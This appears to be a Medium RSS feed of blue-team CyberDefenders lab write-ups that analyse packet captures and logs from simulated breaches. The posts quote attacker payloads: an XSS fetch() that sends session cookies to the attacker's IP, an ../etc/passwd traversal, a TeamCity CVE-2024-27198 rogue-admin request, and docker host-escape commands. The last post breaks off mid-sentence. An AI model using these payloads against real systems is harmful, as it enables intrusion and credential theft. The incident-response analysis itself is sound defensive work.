<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hassan Elbesry on Medium]]></title>
        <description><![CDATA[Stories by Hassan Elbesry on Medium]]></description>
        <link>https://medium.com/@halbsry340?source=rss-5c8597e6265c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*wnD6mycJiSZ5zPGu</url>
            <title>Stories by Hassan Elbesry on Medium</title>
            <link>https://medium.com/@halbsry340?source=rss-5c8597e6265c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 07:24:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@halbsry340/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RetailBreach Lab from Cyberdefenders]]></title>
            <link>https://medium.com/@halbsry340/retailbreach-lab-from-cyberdefenders-f5346fc986b0?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5346fc986b0</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 09:56:44 GMT</pubDate>
            <atom:updated>2026-07-25T10:47:56.895Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario</h3><p>In recent days, ShopSphere, a prominent online retail platform, has experienced unusual administrative login activity during late-night hours. These logins coincide with an influx of customer complaints about unexplained account anomalies, raising concerns about a potential security breach. Initial observations suggest unauthorized access to administrative accounts, potentially indicating deeper system compromise.<br>Your mission is to investigate the captured network traffic to determine the nature and source of the breach. Identifying how the attackers infiltrated the system and pinpointing their methods will be critical to understanding the attack&#39;s scope and mitigating its impact.</p><p><strong>Access the lab: </strong><a href="https://cyberdefenders.org/blueteam-ctf-challenges/retailbreach/"><strong>RetaiBreach Lab</strong></a></p><h3>Analysis</h3><p>As always starting with statistics to see the conversations and protocol hierarchy. We observe three IP addresses: <em>73.124.17.52, 111.224.180.128, and 135.143.142.5.</em> We can find that there is a 4MB transferred on the first conversation between<em>73.124.17.52 and 111.224.180.128</em>, since there is a breach applying it as filter and after analyzing we reveal that the attacker is <em>111.224.180.128</em>.</p><p>Filter with <em>ip.src=111.224.180.128 and http</em> and analyzing attacker&#39;s behavior of making host discovery in small time frame indicating the use of automated tool, following http stream we can find it was <em>gobuster</em> tool.</p><p>All request methods were GET except one, which is reasonable since using <em>gobuster</em> tool, but there’s one POST request to /reviews.php endpoint what the attacker is sending? . Following http stream and looking at the request body there’s a parameter called review and it’s injected with an encoded script indicating XSS attack. Decoding the script gives us: &lt;<em>script&gt;fetch(’http://111.224.180.128/&#39; + document.cookie);&lt;/script&gt;</em> which is designed to steal users&#39; session cookies.</p><p>Is he targeting a specific user? remember that we only have 3 IPs, attacker, server, and the third must be the admin. So, let’s see if the admin is accessed &quot;<em>/review.php</em>&quot; endpoint after the attacker injected the script using <em>ip.src!=111.224.180.128</em> and http contains &quot;<em>reviews.php</em>&quot; filter . The administrator visited the &quot;/<em>reviews.php</em>&quot; page twice - once before the injection and once after. We are targeting the admin’s access after injection to see if its session is stolen its reasonable to follow http stream of the packet after injection and yes, it is stolen in <em>29-03-2024 12:09:50</em>,and the admin session token was <em>lqkctf24s9h9lg67teu8uevn3q</em>.</p><p>Ok, after he accessed the admin rights what did he do? checking frames after stealing the session token. The final request contains an unusual URL parameter, &quot;<em>file=../../../../../etc/passwd</em>&quot;, we can confirm that the <em>log_viewer.php</em> script is vulnerable to a path traversal attack through its &quot;<em>file=&quot;</em> parameter allowing him to access passwd file using &quot;<em>../../../../../etc/passwd</em>&quot; payload.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5346fc986b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JetBrains Lab from Cyberdefenders]]></title>
            <link>https://medium.com/@halbsry340/jetbrains-lab-from-cyberdefenders-e0a4dfd024e4?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0a4dfd024e4</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 08:38:02 GMT</pubDate>
            <atom:updated>2026-07-24T08:38:02.045Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario</h3><p>During a recent security incident, an attacker successfully exploited a vulnerability in our web server, allowing them to upload webshells and gain full control over the system. The attacker utilized the compromised web server as a launch point for further malicious activities, including data manipulation.</p><p>As part of the investigation, You are provided with a packet capture (PCAP) of the network traffic during the attack to piece together the attack timeline and identify the methods used by the attacker. The goal is to determine the initial entry point, the attacker’s tools and techniques, and the compromise’s extent.</p><p>Navigate to the lab from here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/jetbrains/">Blue team CTF Challenges | JetBrains</a></p><h3>Let&#39;s analyze</h3><p>Starting with “<strong><em>http.request.method==POST”</em></strong> seeing there’s a 3 IPs {23.158.56.196, 197.32.146.131, 156.197.187.149} each of them is communicating once with 172.31.25.119 and once again with 172.17.0.2. After following the http stream for each conversation, revealing that the attacker was 23.158.56.196 and uploaded a zip file on “<strong><em>/admin/pluginUpload.html”</em></strong> endpoint.</p><p>Return using<strong><em> “ip.src == 23.158.56.196 &amp;&amp; http.request.method == POST”</em></strong> display filter after each of the following steps to see if any other endpoints navigated by him.</p><p>Copying the request header “<strong>TeamCity-Node-Id: MAIN_SERVER</strong>” and search for it reveals found that is a <strong>CI/CD server</strong> that helps teams automate the build, test, and deployment processes. It has a centralized web-based interface where users can configure projects, build agents, and build configurations.</p><p>Digging deeper to know its version to help identifying the vulnerability exploited. Root cause was our server is running version 2023.11.3 has two CVEs vulnerabilities — <strong>CVE-2024–27198(alternate path authentication bypass)</strong> and <strong>CVE-2024–27199 (path traversal-based authentication bypass</strong>.) — both fixed in <strong>2023.11.4</strong>. These flaws allow remote unauthenticated attackers to gain unauthorized access, potentially leading to <strong>full server compromise</strong>. We are facing <strong>CVE-2024–27198 </strong>here.</p><p>Following the attacker activity within the network he connected with several endpoints including <strong><em>/hax?jsp=/app/rest/users;.jsp</em></strong><em> </em>and created a user with <strong>system admin</strong> rights.<strong><em> {“username”: “c91oyemw”, “password”: “CL5vzdwLuK”, “email”: “</em></strong><a href="/service/mailto:c91oyemw@example.com"><strong><em>c91oyemw@example.com</em></strong></a><strong><em>”, “roles”: {“role”: [{“roleId”: “SYSTEM_ADMIN”, “scope”: “g”}]}}</em></strong></p><p>Next, he moved to<strong> <em>/admin/pluginUpload.html</em> </strong>endpoint and uploaded his shell with the name “<strong><em>NSt8bHTg.zip</em></strong>” for persistence of course. Ok, thinking like him what after that? he wants to execute some commands, lets see what he did. This line in a request body caught my attention “<strong><em>enabled=true&amp;action=setEnabled&amp;uuid=a727133c-6b63–4a06-bb9a-1d564728a1d9&quot;</em></strong> the request after it he run his first command “<strong><em>ls”</em></strong> immediately after enabling the cmd in “<strong><em>2024–06–30 08:03”</em></strong>.</p><p>Filtering with <strong>http contains “cmd=”</strong> to see all commands that he executed revealing that he navigated to “<strong><em>/plugins/NSt8bHTg/NSt8bHTg.jsp” and </em></strong>executed several commands and tampered with a text file that contained the credentials of the admin user of the webserver through the command “<strong><em>bash -c ‘echo “username:a1l4m,password:youarecompromised” &gt; /tmp/Creds.txt’”.</em></strong></p><p>Indicate that using of MITRE ATT&amp;CK ID T1565.001 Data Manipulation: Stored Data Manipulation. Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.</p><p>Other several commands were executed:</p><blockquote>docker run — rm -it — privileged ubuntu</blockquote><blockquote>docker run — rm -it -v /:/host ubuntu chroot /host</blockquote><blockquote>docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu</blockquote><ul><li><strong>--privileged</strong> weakens container isolation with nearly all Linux capabilities when use — privileged</li><li><strong>Mounting </strong><strong>/</strong> into a container (-v /:/host) effectively exposes the entire host filesystem and make the container operate as if inside the host filesystem</li><li><strong>Exposing </strong><strong>docker.sock</strong> is one of the most severe Docker misconfigurations because it can allow a process inside the container to start new privileged containers, mount the host filesystem, and gain root-level control of the host.</li></ul><h4>Here he attempted to escape the container whith this command</h4><p><strong>docker run --rm -it -v /:/host ubuntu chroot /host</strong></p><h3>Conclusion</h3><p><strong>Reconnaissance</strong></p><p>Attacker 23.158.56.196 begins probing TeamCity at 3.71.79.4:8111</p><p><strong>Initial Access:</strong></p><p>Brute-force attack: repeated POST to /loginSubmit.html Evidence: HTTP 401 responses confirm failed credential stuffing.</p><p>CVE-2024–27198 exploitation: GET /hax?jsp=/app/rest/server;.jspEvidence: tcp.stream 364 — HTTP 200 returns TeamCity version 2023.11.3 (build 147512)</p><p><strong>Persistence</strong></p><p>Rogue admin account created: POST /hax?jsp=/app/rest/users;.jsp.Evidence: JSON body: c91oyemw / CL5vzdwLuK / role: SYSTEM_ADMIN</p><p><strong>Privilege Escalation</strong></p><p>Attacker confirms admin access — navigates to plugin management. Evidence: GET /admin/admin.html?item=plugins → HTTP 200 (194 KB response)</p><p><strong>Execution</strong></p><p>Web shell uploaded via plugin mechanism Evidence: POST /admin/pluginUpload.html — NSt8bHTg.zip containing NSt8bHTg.jsp</p><p>OS commands executed through web shellMultiple. Evidence: POST to /plugins/NSt8bHTg/NSt8bHTg.jsp with cmd parameter</p><p><strong>Defense Evasion</strong></p><p>Docker container escape — host filesystem mounted. Evidence:docker run --rm -it -v /:/host ubuntu chroot /host (tcp.stream 602)</p><p><strong>Impact</strong></p><p>Credential file tampered — false data injected. Evidenceecho &quot;username:a11m,password:youarecompromised&quot; &gt; /tmp/Creds.txt (tcp.stream 547)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0a4dfd024e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bluesky ransomware lab from CyberDefenders]]></title>
            <link>https://medium.com/@halbsry340/bluesky-ransomware-lab-from-cyberdefenders-f2db2e9bb8ca?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2db2e9bb8ca</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Fri, 02 May 2025 12:39:50 GMT</pubDate>
            <atom:updated>2025-05-02T13:06:36.986Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Bluesky ransomware lab from CyberDefenders</strong></p><p>اللهم صل وسلم على نبينا محمد. <br><a href="https://cyberdefenders.org/blueteam-ctf-challenges/bluesky-ransomware/">https://cyberdefenders.org/blueteam-ctf-challenges/bluesky-ransomware/</a></p><p>A company was targeted with RANSOMWARE how their IR team respond ?</p><p>Opening Wireshark to have a closer look to the network details and as always starting with statistics &gt;conversations to have an overview to what&#39;s happened I saw that one IP is making most of the bandwith it&#39;s “87.96.21.84” filter on it and it was likely to conduct port scanning activity on “87.96.21.81” after reviewing later packets.<br>Secondly have a look on protocol hirarchey, I encountered with the Tabular Data Stream (TDS) protocol and it is an application layer request/response protocol that facilitates interaction with a database server and provides the following:<br>Authentication and channel encryption, Specification of requests in SQL (including Bulk Insert), Invocation of a stored procedure or user-defined function, also known as a remote procedure call (RPC), The return of data and Transaction manager requests.</p><p>So search google on TDS filters in wireshark for help, I found this filter &quot;tds.7login.password&quot; and dive deep on the details to see the credentials &quot; sa: cyb3rd3f3nd3r$&quot;. For detecting lateral movement lets find a TDS packet with SQL patch in its info section, follow tcp stream to see what is reconfigured and it&#39;s xp_cmdshell.Navigating to file &gt;export objects &gt;HTTP there are many .exe and powershell files was downloaded by 87.96.21.81 over HTTP</p><p>Moving to event viewer file to see that events from powershell source, seeing that HostName=MSFConsole , HostApplication=winlogon.exe in fields. Indicating that metasploit used to inject winlogon.exe process. Benifition from this method is the code inherit the privilage assigned to the process it injected to and executed in memory space without the file been written to disk (redcanary website).</p><p>Filtering on HTTP to see files requested and saw many files lets choose the first, it&#39;s url:https://87[.]96[.]21[.]84/checking.ps1 it check for the group SID S-1-5-32-544. The packet before that no 4212 we can see the attacker used python SimpleHTTPServer holding all files downloaded by the victim.</p><p>Additionally our guy has stopped windows defender, in the same tcp stream we can see that a function called stopAV at it&#39;s end we can see that the registry keys he attempted to disable in this order { DisableAntiSpyware, DisableRoutinelyTakingAction, DisableRealtimeMonitoring, SubmitSamplesConsent, SpynetReporting }, and created a new task to maintain persistence in path &quot;\Microsoft\Windows\MUI\LPupdate&quot;. In the packet that contains the second file del.ps1 he attempted to forcestop some programs including taskman,processhacker, procmon and other trying to evade from defenses, visiting attack[.]mitre[.]org and know the tactic was TA0005.</p><p>Noticing one of the powershell scripts named &quot;invoke-powerDump.ps1&quot; lets follow HTTP stream to see the code and it dumps hashes. Wait there is a text file what brings it here ? it&#39;s not executable lets dive into it, extracted_hosts.txt containing an IPs what it is obvious was created in recon phase, ok go to packet 4540 and follow HTTP stream diving in the code we can see the hashes.txt was used by ichigo-lite.ps1 to store hashes.</p><p>There is a ransomware spread after javwa.exe file created on the compromised machine lets get its hash and virustotal it, on behavior tap, go to files dropped section or files written and see C:\Users\&lt;USER&gt;\.dotnet\# DECRYPT FILES BLUESKY #.html. Back to detect tab to confirm it&#39;s tactic was TA0005.</p><p>Can decryption tools decrypt it? it depends on the malware family, back to detection tab and see the Family labels {bluesky, conti, encoder}</p><p>This story was from Blueskyransomware lab from CyberDefenders <br>I&#39;d like to hear any tips and ideas from you my friend.</p><p>#Cybersecurity #incident_response<br>#DFIR</p><p>#Cybersecurity #incident_response<br>#DFIR</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2db2e9bb8ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Openwire Lab from CyberDefenders]]></title>
            <link>https://medium.com/@halbsry340/openwire-lab-from-cyberdefenders-cdc6d06ada26?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdc6d06ada26</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 10:46:13 GMT</pubDate>
            <atom:updated>2025-05-02T13:04:37.064Z</atom:updated>
            <content:encoded><![CDATA[<p>Openwire Lab from CyberDefenders</p><p>بسم الله و الصلاة و السلام على رسول الله ❤️<br><a href="https://cyberdefenders.org/blueteam-ctf-challenges/openwire/">https://cyberdefenders.org/blueteam-ctf-challenges/openwire/</a></p><p>ALERT : Potential C2 communication over OpenWire</p><p>OpenWire is a binary protocol used by Apache ActiveMQ for efficient communication between clients and brokers. Its binary format minimizes serialization overhead, resulting in faster data transfer.</p><p>OpenWire is a real world scenario lab from CyberDefenders</p><p>Let&#39;s fire up Wireshark and see the statistics-&gt;conversations there&#39;s one IP communicating with multiple IPs, first one is requested the invoice.xml file and it&#39;s malicious when search for it on virustotal. The file requested by 134.209.197.3:49750 from 146.190.21.92:8000 over HTTTP with user-agent : Java/11.0.21 twice <br>Going to virustotal and get the hashes:<br>	md5: <br>f6fa593982a6e44f2e1724719ecba0c4<br>	sha1: <br>b53e8c87e59ec4f14488e7527cb6330b436e5d4d</p><p>I saw that 146.190.21.92 is sending exception response [malformed packet ] over openwire protocol from port 47284 to port 61616 exploiting the service of Apache ActiveMQ which is in this case it&#39;s not patched or misconfigured. By examining the xml file closely I saw the &quot;java.lang.ProcessBuilder&quot; class is invoked by the XML file to run the exloit.</p><p>Is this vulnerability has a CVE ? I asked chatGPT to which CVE it&#39;s associated to and it comes with multiple CVEs and I choosed CVE-2023-46604 due to the pcap file date in the year of 2023 and it&#39;s patched using &quot;BaseDataStreamMarshaller.createThrowable&quot; method.</p><p>There&#39;s a second file called docker and it&#39;s a trojan requested by 134.209.197.3:46158 from 128.199.52.72:80 over HTTP with user-agent: curl/7.68.0 and hash calculated : <br>	md5 : 8102680b91c6be67d875ddf81707f78c<br>	sha1: fc647efbc8f1b47b490079e56aed150e2721e0d2<br>Also ther&#39;s multiple sessions re-created with same ports between 84.239.49.16:49877 &gt; 134.209.197.3:443 over TCP</p><p>summary :<br>IPs<br>134.209.197.3 : Amsterdam, North Holland<br>146.190.21.92 : Amsterdam, North Holland<br> 128.199.52.72 : Amsterdam, North Holland<br>the above with same ISP DigitalOcean, LLC<br> 84.239.49.16: Bucharest, București</p><p>Files : <br>1-invoice.xml<br>	md5: <br>f6fa593982a6e44f2e1724719ecba0c4<br>	sha1: <br>b53e8c87e59ec4f14488e7527cb6330b436e5d4d<br>2-docker <br>	md5 : 8102680b91c6be67d875ddf81707f78c<br>	sha1: fc647efbc8f1b47b490079e56aed150e2721e0d2</p><p>Security measures : <br>- Patch the srevice and disable it when not needed.<br>- Restrict access to the service.<br>- Block the IPs</p><p>If you have any tips or recommendations I&#39;ll be happy to hear from you my friend.</p><p>إن أصبت فمن الله و ان أسأت فمن نفسي و من الشيطان</p><p>#Cybersecurity #incident_response<br>#DFIR</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdc6d06ada26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DanaBot Lab from cyber defenders]]></title>
            <link>https://medium.com/@halbsry340/danabot-lab-from-cyber-defenders-fbd7ce79c961?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbd7ce79c961</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Sun, 23 Feb 2025 11:03:23 GMT</pubDate>
            <atom:updated>2025-09-15T08:33:01.936Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>DanaBot Lab from cyberdefenders</strong></p><p>Link to Lab: https://cyberdefenders.org/blueteam-ctf-challenges/danabot/</p><p><strong>Scenario :</strong></p><p>The SOC team has detected suspicious activity in the network traffic, revealing that a machine has been compromised. Sensitive company information has been stolen. We are tasked with investigating the incident and identify how the breach occurred.</p><p><strong>Investigation :-</strong></p><blockquote>Initial access : attacker made a req to a file named login.php on 62.173.142.148 which in fact it’s name allegato_708.js according to virustotal, when navigating to behavior tap it executed by script.exe. Don’t forget the hash of the file it’s visible on virustotal.</blockquote><p>Attacker requested a second file from 188.114.97.3 named resources.dll let’s virustotal it boom it’s a Trojan under name wndResizerApp.exe see the MD5 hash of it.</p><p>Simple and easy lab.</p><p>See you soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbd7ce79c961" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Packet Maze lab from CyberDefenders]]></title>
            <link>https://medium.com/@halbsry340/packet-maze-lab-from-cyberdefenders-f55520253566?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f55520253566</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Thu, 09 Jan 2025 10:30:10 GMT</pubDate>
            <atom:updated>2025-05-02T13:01:28.103Z</atom:updated>
            <content:encoded><![CDATA[<p>As a soc analyst working for a security service provider, you have been tasked with analyzing a packet capture for a customer’s employee whose network activity has been monitored for a while -possible insider.</p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/packetmaze/">https://cyberdefenders.org/blueteam-ctf-challenges/packetmaze/</a></p><p>As usual I started with statistics-&gt; protocol hierarchy to see what happened . I saw that some protocols with FTP included lets filter on “ ftp “ and saw that ip 192.168.1.26:48794 logged in to the FTP server on 192.168.1.20:21 with the username kali and password {AfricaCTF2021} and switched between passive and binary modes and worked with some files .</p><p>So how he communicate with the FTP server ? let’s see its DNS server, firstly we got the MAC address c8:09:a8:57:47:93 to use it in this filter “ eth.src == c8:09:a8:57:47:93 &amp;&amp; ipv6 &amp;&amp; dns “ u will see that all this packets are DNS A record ,choosing a packet to see the IPv6 of the targeted server and it’s {fe80::c80b:adff:feaa:1db7} .</p><p>Navigating to packet 15174 to see the domain that the user looking up is {<a href="http://www.7-zip.org/">www.7-zip.org</a>}</p><p>To know How many UDP packets were sent from 192.168.1.26 to 24.39.217.246 we will use this filter “ udp &amp;&amp; ip.src==192.168.1.26 &amp;&amp; ip.dst==24.39.217.246 “ there are {10} packets</p><p>MAC address of the system being investigated in the PCAP is the MAC address of IP : 192.168.1.26 and the address is {c8:09:a8:57:47:93}</p><p>We wanna know the camera model so of the picture so go to file-&gt;export objects -&gt; ftp-data and select 20210429_152157.jpg then $ exiftool 20210429_152157.jpg | grep -i camera <br>Camera Model Name : LM-Q725K<br>and it’s {LM-Q725K}</p><p>I used tls.handshake.session_id == da4a0000342e4b73459d7360b4bea971cc303ac18d29b99067e46d16cc07f4ff display filter ,looking at the information section to find the public key {04edcc123af7b13e90ce101a31c2f996f471a7c8f48a1b81d765085f548059a550f3f4f62ca1f0e8f74d727053074a37bceb2cbdc7ce2a8994dcd76dd6834eefc5438c3b6da929321f3a1366bd14c877cc83e5d0731b7f80a6b80916efd4a23a4d}</p><p>To know the first TLS 1.3 client random that was used to establish a connection with protonmail.com I used this filter ‘tls.handshake.extensions_server_name == “protonmail.com” and referred to the first packet and under the tls version header u will see the random ,copy it as value and it’s {24e92513b97a0348f733d16996929a79be21b0b1400cd7e2862a732ce7775b70}<br>‘</p><p>We wanna know the country of the FTP server so getting it’s mac address . So firstly we must know it’s mac address filtering on ftp and identify the server by it’s IP 192.168.1.20 and refer to it’s mac (08:00:27:a6:1f:86) and and type it in <a href="https://dnschecker.org/mac-lookup.php">https://dnschecker.org/mac-lookup.php</a> to get the country code of US that it’s {United states}</p><p>He created a directory so when he did it lets find out , filtering on ftp-data and following streams to searching for created directories we find that <br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Desktop<br>drwxr-xr-x 2 1000 1000 4096 Apr 29 16:42 Documents<br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Downloads<br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Music<br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Pictures<br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Public<br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Templates<br>drwxr-xr-x 2 1000 1000 4096 Feb 23 06:37 Videos<br>dr-xr-x — — 4 65534 65534 4096 Apr 20 17:53 ftp</p><p>the last one is non-standard directory , here is the answer , the directory created on {17:53}</p><p>Searching for packet no 27300 , go to view -&gt;name resolution &gt;resolve network address and see that the destination is {dfir.science}</p><p>This lab shows that the importance of monitoring insider traffic.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f55520253566" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hammered : Cyberdefenders Lab]]></title>
            <link>https://medium.com/@halbsry340/hammered-cyberdefenders-lab-38ad70ce4e62?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/38ad70ce4e62</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Mon, 23 Dec 2024 08:04:12 GMT</pubDate>
            <atom:updated>2025-05-02T12:59:09.678Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hammered : Cyberdefenders Lab</h3><p>Log files and there description</p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/hammered/">https://cyberdefenders.org/blueteam-ctf-challenges/hammered/</a></p><p>auth.log: keeps authentication events that include successful and failed attempts <br> daemon.log: keeps track of backgroune services <br> debug : stores messseges related to debugging for troubleshooting purposes <br>dmesg: captures information about boot process and driver initialization<br> dpkg.log: contains information about installed packeges <br> kern.log: keeps kernel logs and warning informations<br> messages: contains system services and background processes<br>udev: contains device events like network cards , external drives and USBs etc… <br> user.log: contains information about timezones</p><blockquote>Q1: Which service did the attackers use to gain access to the system?</blockquote><p>cat auth.log <br>u will see sshd and the answer is ssh</p><p>Q2: What is the operating system version of the targeted system? (one word)<br>$ head messages <br>to see that it is 4.2.4–1ubuntu3</p><blockquote>Q3: What is the name of the compromised account?</blockquote><p>grep “Failed password for” auth.log<br>it’s root account</p><p>Q5: Which attacker’s IP address successfully logged into the system the most number of times?<br>$ grep -i “accepted” auth.log | grep -i root | awk ‘{print $11}’ | sort | uniq -c | sort -nr<br>219.150.161.20</p><p>Q4: Consider that each unique IP represents a different attacker. How many attackers were able to get access to the system?<br>$ cat auth.log| grep -i accepted | awk ‘{print $11}’ | sort | uniq | wc -l</p><blockquote>Q6: How many requests were sent to the Apache Server?</blockquote><p>wc -l www-access.log<br>365 requests</p><blockquote>Q7: How many rules have been added to the firewall?</blockquote><p>iptables is the command-line tool to manage firewall rules on Linux and we can also used grep “iptables” auth.log to filter out all iptables commands there were executed<br>6</p><p>Q8: One of the downloaded files to the target system is a scanning tool. Provide the tool name.<br>grep “configure” dpkg.log<br>nmap</p><p>Q9: When was the last login from the attacker with IP 219.150.161.20? Format: MM/DD/YYYY HH:MM:SS AM<br>Lets use grep “Accepted password” auth.log | grep “219.150.161.20” to find all successful logged on from this IP address and pick the latest one to answer<br>04/19/2010 05:56:05 AM</p><p>Q10: The database displayed two warning messages, provide the most important and dangerous one.<br>grep mysql.user daemon.log<br>mysql.user contains 2 root accounts without password!</p><p>Q11: Multiple accounts were created on the target system. Which one was created on Apr 26 04:43:15?<br>$ grep -r -i useradd * | grep “Apr 26 04:43:15”<br>auth.log:Apr 26 04:43:15 app-1 useradd[20115]: new user: name=wind3str0y, UID=1004, GID=1005, home=/home/wind3str0y, shell=/bin/bash<br>wind3str0y</p><p>Q12: Few attackers were using a proxy to run their scans. What is the corresponding user-agent used by this proxy?<br>awk ‘{print $12}’ www-access.log | sort | uniq<br>“-”<br>“Apple-PubSub/65.12.1”<br>“Mozilla/4.0<br>“Mozilla/5.0<br>“pxyscand/2.1”<br>“WordPress/2.9.2;<br>doing some OSINT on “pxyscand/2.1” to identify it</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38ad70ce4e62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hawkeye CyberDefenders Lab]]></title>
            <link>https://medium.com/@halbsry340/hawkeye-cyberdefenders-lab-f4c313e68beb?source=rss-5c8597e6265c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4c313e68beb</guid>
            <dc:creator><![CDATA[Hassan Elbesry]]></dc:creator>
            <pubDate>Mon, 02 Dec 2024 12:49:32 GMT</pubDate>
            <atom:updated>2025-05-02T12:56:37.087Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario:</h3><p>An accountant at your organization received an email regarding an invoice with a download link. Suspicious network traffic was observed shortly after opening the email. As a SOC analyst, investigate the network trace and analyze exfiltration attempts.</p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/hawkeye/">https://cyberdefenders.org/blueteam-ctf-challenges/hawkeye/</a></p><h3>Analyzing Traffic and Identifying Malicious Activity</h3><ol><li><strong>Overview of Captured Traffic</strong><br>Start by navigating to Statistics -&gt; Conversations to analyze the captured traffic. Pay close attention to the <strong>Bytes</strong> column, which indicates the size of data transferred. The largest entry suggests a compromise from our computer (217.182.138.150:80) to an attacker (10.4.10.132:49204).</li><li><strong>Malicious File Download</strong><br>The suspicious link observed is:</li></ol><pre>GET /proforma/tkraw_Protected99.exe HTTP/1.1</pre><p>This indicates an .exe file was downloaded. To confirm, go to File -&gt; Export Objects -&gt; HTTP and locate the downloaded files, including the suspected malicious one.</p><p>To verify if the file is malicious, calculate its hash using the Windows command:</p><pre>certutil -hashfile tkraw_Protected99.exe MD5</pre><p>The resulting hash is: 71826ba081e303866ce2a2534491a2f7. Searching this hash on VirusTotal confirms the file is indeed malicious.</p><p><strong>Examining Packets and HTTP Streams</strong><br>Notably, the TCP PDU was reassembled in packet number <strong>3155</strong>. Navigate to this packet and follow the HTTP stream. The analysis shows the attacker’s domain: bot.whatismyipaddress.com, running on a LiteSpeed server.</p><p><strong>Phishing Email Investigation</strong><br>The attack appears to be initiated via an email phishing attack. Filter traffic using smtp and follow the TCP stream to uncover details such as:</p><pre>EHLO Beijing-5cd1-PC</pre><p>This reveals the sender’s PC name. An encoded message containing credentials was found and decoded from Base64, revealing:</p><pre>Username: sales.del@macwinlogistics.in  <br>Password: Sales@23</pre><p>The SMTP traffic originated from 10.4.10.132:49227 to 23.229.162.69:587. A search on AbuseIPDB indicates the recipient is located in the United States.</p><p><strong>Data Exfiltration Analysis</strong><br>Decoding the exfiltrated message reveals that the compromised data was sent to the email sales.del@macwinlogistics.in. The email server, running <strong>Exim 4.91</strong>, was used as a daemon. Further investigation shows that the malware Reborn v9 was responsible for exfiltrating data via the SMTP protocol every 10 minutes. To analyze this behavior further, navigate to View -&gt; Time Display Format -&gt; UTC Time of Day.</p><h3>Device and Network-Level Insights</h3><ol><li><strong>Most Active Device</strong><br>At the link level, the most active device has the MAC address 00:08:02:1c:47:ae. A lookup on MacVendorLookup.com identifies the vendor as <strong>Hewlett Packard</strong>, headquartered in Palo Alto.</li><li><strong>DHCP and DNS Details</strong><br>Filter traffic using DHCP to find the most active device’s name at the network layer. Additionally, filtering for DNS shows the DNS server is 10.4.10.4.</li><li>Using the filter frame.number == 204, observe that the victim requested the domain proforma-invoices.com. The DNS server responded with an A record pointing to IP 217.182.138.150. A lookup on AbuseIPDB reveals this IP is located in France, running <strong>Windows NT 6</strong>.</li><li><strong>Public IP and LLMNR Activity</strong><br>The victim’s public IP can be 